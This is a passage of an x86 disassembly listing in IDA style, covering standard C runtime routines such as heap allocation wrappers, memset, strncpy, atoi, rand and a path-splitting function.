loc_41B9B3: ; CODE XREF: sub_41B960+11j
; sub_41B960+4Fj
lea eax, [ecx-1]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41B9BD: ; CODE XREF: sub_41B960+48j
lea eax, [ecx-2]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41B9C7: ; CODE XREF: sub_41B960+41j
lea eax, [ecx-3]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41B9D1: ; CODE XREF: sub_41B960+3Dj
lea eax, [ecx-4]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
sub_41B960 endp
; =============== S U B R O U T I N E =======================================
sub_41B9DB proc near ; CODE XREF: sub_4010AB+64p
; sub_401AC7+5856p ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
or edi, 0FFFFFFFFh
mov eax, [esi+0Ch]
test al, 40h
jz short loc_41B9F0
or eax, 0FFFFFFFFh
jmp short loc_41BA2A
; ---------------------------------------------------------------------------
loc_41B9F0: ; CODE XREF: sub_41B9DB+Ej
test al, 83h
jz short loc_41BA28
push esi
call sub_41E32B
push esi
mov edi, eax
call sub_41E2C5
push dword ptr [esi+10h]
call sub_41E212
add esp, 0Ch
test eax, eax
jge short loc_41BA16
or edi, 0FFFFFFFFh
jmp short loc_41BA28
; ---------------------------------------------------------------------------
loc_41BA16: ; CODE XREF: sub_41B9DB+34j
mov eax, [esi+1Ch]
test eax, eax
jz short loc_41BA28
push eax
call sub_41BA31
and dword ptr [esi+1Ch], 0
pop ecx
loc_41BA28: ; CODE XREF: sub_41B9DB+17j
; sub_41B9DB+39j ...
mov eax, edi
loc_41BA2A: ; CODE XREF: sub_41B9DB+13j
and dword ptr [esi+0Ch], 0
pop edi
pop esi
retn
sub_41B9DB endp
; =============== S U B R O U T I N E =======================================
sub_41BA31 proc near ; CODE XREF: sub_4010AB+5Ep
; sub_40A91C+B1p ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_41BA5E
push esi
call sub_41E477
pop ecx
test eax, eax
push esi
jz short loc_41BA50
push eax
call sub_41E4A2
pop ecx
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41BA50: ; CODE XREF: sub_41BA31+13j
push 0
push dword_4DADA0
nop
call near ptr 27C0620h
loc_41BA5E: ; CODE XREF: sub_41BA31+7j
pop esi
retn
sub_41BA31 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BA60 proc near ; CODE XREF: sub_4010AB+45p
; ___:0040FA57p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov ecx, edi
test edi, edi
mov [ebp+var_4], edi
mov [ebp+arg_0], ecx
jnz short loc_41BA84
xor eax, eax
jmp loc_41BB2D
; ---------------------------------------------------------------------------
loc_41BA84: ; CODE XREF: sub_41BA60+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_41BA97
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_41BAA3
; ---------------------------------------------------------------------------
loc_41BA97: ; CODE XREF: sub_41BA60+2Dj
mov [ebp+arg_C], 1000h
jmp short loc_41BAA3
; ---------------------------------------------------------------------------
loc_41BAA0: ; CODE XREF: sub_41BA60+C4j
mov ecx, [ebp+arg_0]
loc_41BAA3: ; CODE XREF: sub_41BA60+35j
; sub_41BA60+3Ej
test word ptr [esi+0Ch], 10Ch
jz short loc_41BAD5
mov eax, [esi+4]
test eax, eax
jz short loc_41BAD5
cmp ecx, eax
mov edi, ecx
jb short loc_41BABA
mov edi, eax
loc_41BABA: ; CODE XREF: sub_41BA60+56j
push edi
push dword ptr [esi]
push ebx
call sub_41CAB0
sub [ebp+arg_0], edi
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
add ebx, edi
mov edi, [ebp+var_4]
jmp short loc_41BB20
; ---------------------------------------------------------------------------
loc_41BAD5: ; CODE XREF: sub_41BA60+49j
; sub_41BA60+50j
cmp ecx, [ebp+arg_C]
jb short loc_41BB08
cmp [ebp+arg_C], 0
mov eax, ecx
jz short loc_41BAEB
xor edx, edx
div [ebp+arg_C]
mov eax, ecx
sub eax, edx
loc_41BAEB: ; CODE XREF: sub_41BA60+80j
push eax
push ebx
push dword ptr [esi+10h]
call sub_41F051
add esp, 0Ch
test eax, eax
jz short loc_41BB32
cmp eax, 0FFFFFFFFh
jz short loc_41BB38
sub [ebp+arg_0], eax
add ebx, eax
jmp short loc_41BB20
; ---------------------------------------------------------------------------
loc_41BB08: ; CODE XREF: sub_41BA60+78j
push esi
call sub_41EF78
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41BB3C
mov [ebx], al
mov eax, [esi+18h]
inc ebx
dec [ebp+arg_0]
mov [ebp+arg_C], eax
loc_41BB20: ; CODE XREF: sub_41BA60+73j
; sub_41BA60+A6j
cmp [ebp+arg_0], 0
jnz loc_41BAA0
mov eax, [ebp+arg_8]
loc_41BB2D: ; CODE XREF: sub_41BA60+1Fj
; sub_41BA60+E6j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41BB32: ; CODE XREF: sub_41BA60+9Aj
or dword ptr [esi+0Ch], 10h
jmp short loc_41BB3C
; ---------------------------------------------------------------------------
loc_41BB38: ; CODE XREF: sub_41BA60+9Fj
or dword ptr [esi+0Ch], 20h
loc_41BB3C: ; CODE XREF: sub_41BA60+B2j
; sub_41BA60+D6j
mov eax, edi
xor edx, edx
sub eax, [ebp+arg_0]
div [ebp+arg_4]
jmp short loc_41BB2D
sub_41BA60 endp
; =============== S U B R O U T I N E =======================================
sub_41BB48 proc near ; CODE XREF: sub_4010AB+2Ep
; sub_41D743+35p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_0]
push ebp
push esi
test ebx, ebx
push edi
jnz short loc_41BB63
push [esp+10h+arg_4]
call sub_41BC9B
pop ecx
jmp loc_41BC63
; ---------------------------------------------------------------------------
loc_41BB63: ; CODE XREF: sub_41BB48+Aj
mov esi, [esp+10h+arg_4]
test esi, esi
jnz short loc_41BB79
push ebx
call sub_41BA31
pop ecx
loc_41BB72: ; CODE XREF: sub_41BB48+114j
xor eax, eax
jmp loc_41BC63
; ---------------------------------------------------------------------------
loc_41BB79: ; CODE XREF: sub_41BB48+21j
; sub_41BB48+10Ej
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_41BC44
push ebx
call sub_41E477
mov ebp, eax
pop ecx
test ebp, ebp
jz loc_41BC21
cmp esi, dword_43A67C
ja short loc_41BBE1
push esi
push ebx
push ebp
call sub_41EC82
add esp, 0Ch
test eax, eax
jz short loc_41BBB0
mov edi, ebx
jmp short loc_41BBD9
; ---------------------------------------------------------------------------
loc_41BBB0: ; CODE XREF: sub_41BB48+62j
push esi
call sub_41E7CD
mov edi, eax
pop ecx
test edi, edi
jz short loc_41BBE1
mov eax, [ebx-4]
dec eax
cmp eax, esi
jb short loc_41BBC7
mov eax, esi
loc_41BBC7: ; CODE XREF: sub_41BB48+7Bj
push eax
push ebx
push edi
call sub_41CAB0
push ebx
push ebp
call sub_41E4A2
add esp, 14h
loc_41BBD9: ; CODE XREF: sub_41BB48+66j
test edi, edi
jnz loc_41BC61
loc_41BBE1: ; CODE XREF: sub_41BB48+53j
; sub_41BB48+73j
test esi, esi
jnz short loc_41BBE8
push 1
pop esi
loc_41BBE8: ; CODE XREF: sub_41BB48+9Bj
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push 0
push dword_4DADA0
call near ptr 27D0000h
nop
mov edi, eax
test edi, edi
jz short loc_41BC44
mov eax, [ebx-4]
dec eax
cmp eax, esi
jb short loc_41BC0D
mov eax, esi
loc_41BC0D: ; CODE XREF: sub_41BB48+C1j
push eax
push ebx
push edi
call sub_41CAB0
push ebx
push ebp
call sub_41E4A2
add esp, 14h
jmp short loc_41BC40
; ---------------------------------------------------------------------------
loc_41BC21: ; CODE XREF: sub_41BB48+47j
test esi, esi
jnz short loc_41BC28
push 1
pop esi
loc_41BC28: ; CODE XREF: sub_41BB48+DBj
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push ebx
push 0
push dword_4DADA0
call near ptr 2870000h
nop
mov edi, eax
loc_41BC40: ; CODE XREF: sub_41BB48+D7j
test edi, edi
jnz short loc_41BC61
loc_41BC44: ; CODE XREF: sub_41BB48+36j
; sub_41BB48+B9j
cmp dword_4D9798, 0
jz short loc_41BC61
push esi
call sub_41F247
test eax, eax
pop ecx
jnz loc_41BB79
jmp loc_41BB72
; ---------------------------------------------------------------------------
loc_41BC61: ; CODE XREF: sub_41BB48+93j
; sub_41BB48+FAj ...
mov eax, edi
loc_41BC63: ; CODE XREF: sub_41BB48+16j
; sub_41BB48+2Cj
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41BB48 endp
; =============== S U B R O U T I N E =======================================
sub_41BC68 proc near ; CODE XREF: sub_41BC88+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
call sub_41F3D2
test eax, eax
jnz short loc_41BC72
retn
; ---------------------------------------------------------------------------
loc_41BC72: ; CODE XREF: sub_41BC68+7j
push eax
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41F262
add esp, 10h
retn
sub_41BC68 endp
; =============== S U B R O U T I N E =======================================
sub_41BC88 proc near ; CODE XREF: sub_4010AB+18p
; sub_401AC7+582Ap ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 40h
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_41BC68
add esp, 0Ch
retn
sub_41BC88 endp
; =============== S U B R O U T I N E =======================================
sub_41BC9B proc near ; CODE XREF: sub_4010AB+6p
; sub_40A91C+63p ...
arg_0 = dword ptr 4
push dword_4D9798
push [esp+4+arg_0]
call sub_41BCAD
pop ecx
pop ecx
retn
sub_41BC9B endp
; =============== S U B R O U T I N E =======================================
sub_41BCAD proc near ; CODE XREF: sub_41BC9B+Ap
; sub_41D735+6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFE0h
ja short loc_41BCD6
loc_41BCB4: ; CODE XREF: sub_41BCAD+27j
push [esp+arg_0]
call sub_41BCD9
test eax, eax
pop ecx
jnz short locret_41BCD8
cmp [esp+arg_4], eax
jz short locret_41BCD8
push [esp+arg_0]
call sub_41F247
test eax, eax
pop ecx
jnz short loc_41BCB4
loc_41BCD6: ; CODE XREF: sub_41BCAD+5j
xor eax, eax
locret_41BCD8: ; CODE XREF: sub_41BCAD+13j
; sub_41BCAD+19j
retn
sub_41BCAD endp
; =============== S U B R O U T I N E =======================================
sub_41BCD9 proc near ; CODE XREF: sub_41BCAD+Bp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
cmp esi, dword_43A67C
ja short loc_41BCF1
push esi
call sub_41E7CD
test eax, eax
pop ecx
jnz short loc_41BD0D
loc_41BCF1: ; CODE XREF: sub_41BCD9+Bj
test esi, esi
jnz short loc_41BCF8
push 1
pop esi
loc_41BCF8: ; CODE XREF: sub_41BCD9+1Aj
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push 0
push dword_4DADA0
nop
call near ptr 27D0000h
loc_41BD0D: ; CODE XREF: sub_41BCD9+16j
pop esi
retn
sub_41BCD9 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41BD10 proc near ; CODE XREF: sub_40111D+3Cp
; sub_40111D+4Ap ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_8]
mov ecx, [esp+arg_0]
test edx, edx
jz short loc_41BD63
xor eax, eax
mov al, [esp+arg_4]
push edi
mov edi, ecx
cmp edx, 4
jb short loc_41BD57
neg ecx
and ecx, 3
jz short loc_41BD39
sub edx, ecx
loc_41BD33: ; CODE XREF: sub_41BD10+27j
mov [edi], al
inc edi
dec ecx
jnz short loc_41BD33
loc_41BD39: ; CODE XREF: sub_41BD10+1Fj
mov ecx, eax
shl eax, 8
add eax, ecx
mov ecx, eax
shl eax, 10h
add eax, ecx
mov ecx, edx
and edx, 3
shr ecx, 2
jz short loc_41BD57
rep stosd
test edx, edx
jz short loc_41BD5D
loc_41BD57: ; CODE XREF: sub_41BD10+18j
; sub_41BD10+3Fj ...
mov [edi], al
inc edi
dec edx
jnz short loc_41BD57
loc_41BD5D: ; CODE XREF: sub_41BD10+45j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41BD63: ; CODE XREF: sub_41BD10+Aj
mov eax, [esp+arg_0]
retn
sub_41BD10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41BD70 proc near ; CODE XREF: ___:004016BAp
; ___:004016D6p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz short loc_41BDF3
push esi
push ebx
mov ebx, ecx
mov esi, [esp+0Ch+arg_4]
test esi, 3
mov edi, [esp+0Ch+arg_0]
jnz short loc_41BD94
shr ecx, 2
jnz short loc_41BE01
jmp short loc_41BDB5
; ---------------------------------------------------------------------------
loc_41BD94: ; CODE XREF: sub_41BD70+1Bj
; sub_41BD70+37j
mov al, [esi]
inc esi
mov [edi], al
inc edi
dec ecx
jz short loc_41BDC2
test al, al
jz short loc_41BDCA
test esi, 3
jnz short loc_41BD94
mov ebx, ecx
shr ecx, 2
jnz short loc_41BE01
loc_41BDB0: ; CODE XREF: sub_41BD70+8Fj
and ebx, 3
jz short loc_41BDC2
loc_41BDB5: ; CODE XREF: sub_41BD70+22j
; sub_41BD70+50j
mov al, [esi]
inc esi
mov [edi], al
inc edi
test al, al
jz short loc_41BDEE
dec ebx
jnz short loc_41BDB5
loc_41BDC2: ; CODE XREF: sub_41BD70+2Bj
; sub_41BD70+43j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41BDCA: ; CODE XREF: sub_41BD70+2Fj
test edi, 3
jz short loc_41BDE4
loc_41BDD2: ; CODE XREF: sub_41BD70+72j
mov [edi], al
inc edi
dec ecx
jz loc_41BE66
test edi, 3
jnz short loc_41BDD2
loc_41BDE4: ; CODE XREF: sub_41BD70+60j
mov ebx, ecx
shr ecx, 2
jnz short loc_41BE57
loc_41BDEB: ; CODE XREF: sub_41BD70+7Fj
; sub_41BD70+F4j
mov [edi], al
inc edi
loc_41BDEE: ; CODE XREF: sub_41BD70+4Dj
dec ebx
jnz short loc_41BDEB
pop ebx
pop esi
loc_41BDF3: ; CODE XREF: sub_41BD70+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41BDF9: ; CODE XREF: sub_41BD70+A9j
; sub_41BD70+C1j
mov [edi], edx
add edi, 4
dec ecx
jz short loc_41BDB0
loc_41BE01: ; CODE XREF: sub_41BD70+20j
; sub_41BD70+3Ej
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_41BDF9
test dl, dl
jz short loc_41BE4B
test dh, dh
jz short loc_41BE41
test edx, 0FF0000h
jz short loc_41BE37
test edx, 0FF000000h
jnz short loc_41BDF9
mov [edi], edx
jmp short loc_41BE4F
; ---------------------------------------------------------------------------
loc_41BE37: ; CODE XREF: sub_41BD70+B9j
and edx, 0FFFFh
mov [edi], edx
jmp short loc_41BE4F
; ---------------------------------------------------------------------------
loc_41BE41: ; CODE XREF: sub_41BD70+B1j
and edx, 0FFh
mov [edi], edx
jmp short loc_41BE4F
; ---------------------------------------------------------------------------
loc_41BE4B: ; CODE XREF: sub_41BD70+ADj
xor edx, edx
mov [edi], edx
loc_41BE4F: ; CODE XREF: sub_41BD70+C5j
; sub_41BD70+CFj ...
add edi, 4
xor eax, eax
dec ecx
jz short loc_41BE61
loc_41BE57: ; CODE XREF: sub_41BD70+79j
xor eax, eax
loc_41BE59: ; CODE XREF: sub_41BD70+EFj
mov [edi], eax
add edi, 4
dec ecx
jnz short loc_41BE59
loc_41BE61: ; CODE XREF: sub_41BD70+E5j
and ebx, 3
jnz short loc_41BDEB
loc_41BE66: ; CODE XREF: sub_41BD70+66j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_41BD70 endp
; =============== S U B R O U T I N E =======================================
sub_41BE6E proc near ; CODE XREF: sub_41BEF9+4p
; sub_4246FC+1A2p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
loc_41BE76: ; CODE XREF: sub_41BE6E+34j
cmp dword_43A88C, 1
jle short loc_41BE8E
movzx eax, byte ptr [edi]
push 8
push eax
call sub_41F44A
pop ecx
pop ecx
jmp short loc_41BE9D
; ---------------------------------------------------------------------------
loc_41BE8E: ; CODE XREF: sub_41BE6E+Fj
movzx eax, byte ptr [edi]
mov ecx, off_43A680
mov al, [ecx+eax*2]
and eax, 8
loc_41BE9D: ; CODE XREF: sub_41BE6E+1Ej
test eax, eax
jz short loc_41BEA4
inc edi
jmp short loc_41BE76
; ---------------------------------------------------------------------------
loc_41BEA4: ; CODE XREF: sub_41BE6E+31j
movzx esi, byte ptr [edi]
inc edi
cmp esi, 2Dh
mov ebp, esi
jz short loc_41BEB4
cmp esi, 2Bh
jnz short loc_41BEB8
loc_41BEB4: ; CODE XREF: sub_41BE6E+3Fj
movzx esi, byte ptr [edi]
inc edi
loc_41BEB8: ; CODE XREF: sub_41BE6E+44j
xor ebx, ebx
loc_41BEBA: ; CODE XREF: sub_41BE6E+7Bj
cmp dword_43A88C, 1
jle short loc_41BECF
push 4
push esi
call sub_41F44A
pop ecx
pop ecx
jmp short loc_41BEDA
; ---------------------------------------------------------------------------
loc_41BECF: ; CODE XREF: sub_41BE6E+53j
mov eax, off_43A680
mov al, [eax+esi*2]
and eax, 4
loc_41BEDA: ; CODE XREF: sub_41BE6E+5Fj
test eax, eax
jz short loc_41BEEB
lea eax, [ebx+ebx*4]
lea ebx, [esi+eax*2-30h]
movzx esi, byte ptr [edi]
inc edi
jmp short loc_41BEBA
; ---------------------------------------------------------------------------
loc_41BEEB: ; CODE XREF: sub_41BE6E+6Ej
cmp ebp, 2Dh
mov eax, ebx
jnz short loc_41BEF4
neg eax
loc_41BEF4: ; CODE XREF: sub_41BE6E+82j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41BE6E endp
; =============== S U B R O U T I N E =======================================
sub_41BEF9 proc near ; CODE XREF: ___:00401524p
; sub_401AC7+711p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41BE6E
pop ecx
retn
sub_41BEF9 endp
; ---------------------------------------------------------------------------
mov eax, off_43A64C
test eax, eax
jz short loc_41BF0F
call eax ; sub_41CEB4
loc_41BF0F: ; CODE XREF: ___:0041BF0Bj
push offset dword_42902C
push offset dword_429018
call sub_41BFEC
push offset dword_429014
push offset dword_429000
call sub_41BFEC
add esp, 10h
retn
; ---------------------------------------------------------------------------
push 0
push 0
push dword ptr [esp+0Ch]
call sub_41BF53
add esp, 0Ch
retn
; =============== S U B R O U T I N E =======================================
sub_41BF42 proc near ; CODE XREF: sub_41E1C9+1Cp
; sub_42249C+2246p ...
arg_0 = dword ptr 4
push 0
push 1
push [esp+8+arg_0]
call sub_41BF53
add esp, 0Ch
retn
sub_41BF42 endp
; =============== S U B R O U T I N E =======================================
sub_41BF53 proc near ; CODE XREF: ___:0041BF39p
; sub_41BF42+8p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
push 1
pop edi
cmp dword_4D975C, edi
jnz short loc_41BF70
push [esp+4+arg_0]
nop
call near ptr 2740594h
push eax
nop
call near ptr 2730D36h
loc_41BF70: ; CODE XREF: sub_41BF53+Aj
cmp [esp+4+arg_4], 0
push ebx
mov ebx, [esp+8+arg_8]
mov dword_4D9758, edi
mov byte_4D9754, bl
jnz short loc_41BFC4
mov eax, dword_4DADB4
test eax, eax
jz short loc_41BFB3
mov ecx, dword_4DADB0
push esi
lea esi, [ecx-4]
cmp esi, eax
jb short loc_41BFB2
loc_41BF9F: ; CODE XREF: sub_41BF53+5Dj
mov eax, [esi]
test eax, eax
jz short loc_41BFA7
call eax
loc_41BFA7: ; CODE XREF: sub_41BF53+50j
sub esi, 4
cmp esi, dword_4DADB4
jnb short loc_41BF9F
loc_41BFB2: ; CODE XREF: sub_41BF53+4Aj
pop esi
loc_41BFB3: ; CODE XREF: sub_41BF53+3Cj
push offset dword_429038
push offset dword_429030
call sub_41BFEC
pop ecx
pop ecx
loc_41BFC4: ; CODE XREF: sub_41BF53+33j
push offset dword_429044
push offset dword_42903C
call sub_41BFEC
pop ecx
pop ecx
test ebx, ebx
pop ebx
jnz short loc_41BFEA
push [esp+4+arg_0]
mov dword_4D975C, edi
call near ptr 77E75CB5h
nop
loc_41BFEA: ; CODE XREF: sub_41BF53+85j
pop edi
retn
sub_41BF53 endp
; =============== S U B R O U T I N E =======================================
sub_41BFEC proc near ; CODE XREF: ___:0041BF19p
; ___:0041BF28p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
loc_41BFF1: ; CODE XREF: sub_41BFEC+16j
cmp esi, [esp+4+arg_4]
jnb short loc_41C004
mov eax, [esi]
test eax, eax
jz short loc_41BFFF
call eax
loc_41BFFF: ; CODE XREF: sub_41BFEC+Fj
add esi, 4
jmp short loc_41BFF1
; ---------------------------------------------------------------------------
loc_41C004: ; CODE XREF: sub_41BFEC+9j
pop esi
retn
sub_41BFEC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C006 proc near ; CODE XREF: ___:004013ADp
; ___:004014B3p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
lea eax, [ebp+arg_8]
mov [ebp+var_14], 42h
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
mov [ebp+var_1C], 7FFFFFFFh
push eax
call sub_41F5D4
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41C046
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41C053
; ---------------------------------------------------------------------------
loc_41C046: ; CODE XREF: sub_41C006+36j
lea eax, [ebp+var_20]
push eax
push 0
call sub_41F4BF
pop ecx
pop ecx
loc_41C053: ; CODE XREF: sub_41C006+3Ej
mov eax, esi
pop esi
leave
retn
sub_41C006 endp
; =============== S U B R O U T I N E =======================================
sub_41C058 proc near ; CODE XREF: ___:00401266p
; sub_401AC7+318Dp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_43A630, eax
retn
sub_41C058 endp
; =============== S U B R O U T I N E =======================================
sub_41C062 proc near ; CODE XREF: ___:loc_401376p
; ___:loc_4016A1p ...
mov eax, dword_43A630
imul eax, 343FDh
add eax, 269EC3h
mov dword_43A630, eax
sar eax, 10h
and eax, 7FFFh
retn
sub_41C062 endp
; =============== S U B R O U T I N E =======================================
sub_41C080 proc near ; CODE XREF: ___:0040134Bp
; sub_401AC7+8Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push edi
push ebx
push esi
mov dl, [ecx]
mov edi, [esp+0Ch+arg_0]
test dl, dl
jz short loc_41C0FA
mov dh, [ecx+1]
test dh, dh
jz short loc_41C0E7
loc_41C098: ; CODE XREF: sub_41C080+52j
; sub_41C080+65j
mov esi, edi
mov ecx, [esp+0Ch+arg_4]
mov al, [edi]
inc esi
cmp al, dl
jz short loc_41C0BA
test al, al
jz short loc_41C0B4
loc_41C0A9: ; CODE XREF: sub_41C080+32j
mov al, [esi]
inc esi
loc_41C0AC: ; CODE XREF: sub_41C080+3Fj
cmp al, dl
jz short loc_41C0BA
test al, al
jnz short loc_41C0A9
loc_41C0B4: ; CODE XREF: sub_41C080+27j
pop esi
pop ebx
pop edi
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41C0BA: ; CODE XREF: sub_41C080+23j
; sub_41C080+2Ej
mov al, [esi]
inc esi
cmp al, dh
jnz short loc_41C0AC
lea edi, [esi-1]
loc_41C0C4: ; CODE XREF: sub_41C080+63j
mov ah, [ecx+2]
test ah, ah
jz short loc_41C0F3
mov al, [esi]
add esi, 2
cmp al, ah
jnz short loc_41C098
mov al, [ecx+3]
test al, al
jz short loc_41C0F3
mov ah, [esi-1]
add ecx, 2
cmp al, ah
jz short loc_41C0C4
jmp short loc_41C098
; ---------------------------------------------------------------------------
loc_41C0E7: ; CODE XREF: sub_41C080+16j
xor eax, eax
pop esi
pop ebx
pop edi
mov al, dl
jmp loc_41C726
; ---------------------------------------------------------------------------
loc_41C0F3: ; CODE XREF: sub_41C080+49j
; sub_41C080+59j
lea eax, [edi-1]
pop esi
pop ebx
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C0FA: ; CODE XREF: sub_41C080+Fj
mov eax, edi
pop esi
pop ebx
pop edi
retn
sub_41C080 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C100 proc near ; CODE XREF: ___:00401338p
; sub_401AC7+1C08p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_14], 42h
mov [ebp+var_1C], eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_8]
push eax
call sub_41F5D4
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41C13F
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41C14C
; ---------------------------------------------------------------------------
loc_41C13F: ; CODE XREF: sub_41C100+35j
lea eax, [ebp+var_20]
push eax
push 0
call sub_41F4BF
pop ecx
pop ecx
loc_41C14C: ; CODE XREF: sub_41C100+3Dj
mov eax, esi
pop esi
leave
retn
sub_41C100 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C151 proc near ; CODE XREF: ___:00401318p
; sub_401AC7+2164p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push ebx
call sub_41B960
cmp eax, 1
pop ecx
jb short loc_41C18C
cmp byte ptr [ebx+1], 3Ah
jnz short loc_41C18C
mov esi, [ebp+arg_4]
test esi, esi
jz short loc_41C188
push 2
push ebx
push esi
call sub_4201BE
add esp, 0Ch
and byte ptr [esi+2], 0
loc_41C188: ; CODE XREF: sub_41C151+25j
inc ebx
inc ebx
jmp short loc_41C196
; ---------------------------------------------------------------------------
loc_41C18C: ; CODE XREF: sub_41C151+18j
; sub_41C151+1Ej
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_41C196
and byte ptr [eax], 0
loc_41C196: ; CODE XREF: sub_41C151+39j
; sub_41C151+40j
and [ebp+arg_4], 0
cmp byte ptr [ebx], 0
mov eax, ebx
mov esi, 0FFh
mov [ebp+arg_0], eax
jz short loc_41C20E
loc_41C1A9: ; CODE XREF: sub_41C151+87j
mov cl, [eax]
movzx edx, cl
test byte_4DAC81[edx], 4
jz short loc_41C1BA
inc eax
jmp short loc_41C1D4
; ---------------------------------------------------------------------------
loc_41C1BA: ; CODE XREF: sub_41C151+64j
cmp cl, 2Fh
jz short loc_41C1CE
cmp cl, 5Ch
jz short loc_41C1CE
cmp cl, 2Eh
jnz short loc_41C1D4
mov [ebp+var_4], eax
jmp short loc_41C1D4
; ---------------------------------------------------------------------------
loc_41C1CE: ; CODE XREF: sub_41C151+6Cj
; sub_41C151+71j
lea ecx, [eax+1]
mov [ebp+arg_4], ecx
loc_41C1D4: ; CODE XREF: sub_41C151+67j
; sub_41C151+76j ...
inc eax
cmp byte ptr [eax], 0
jnz short loc_41C1A9
mov edi, [ebp+arg_4]
mov [ebp+arg_0], eax
test edi, edi
jz short loc_41C20E
cmp [ebp+arg_8], 0
jz short loc_41C209
sub edi, ebx
cmp edi, esi
jb short loc_41C1F2
mov edi, esi
loc_41C1F2: ; CODE XREF: sub_41C151+9Dj
push edi
push ebx
push [ebp+arg_8]
call sub_4201BE
mov eax, [ebp+arg_8]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_41C209: ; CODE XREF: sub_41C151+97j
mov ebx, [ebp+arg_4]
jmp short loc_41C218
; ---------------------------------------------------------------------------
loc_41C20E: ; CODE XREF: sub_41C151+56j
; sub_41C151+91j
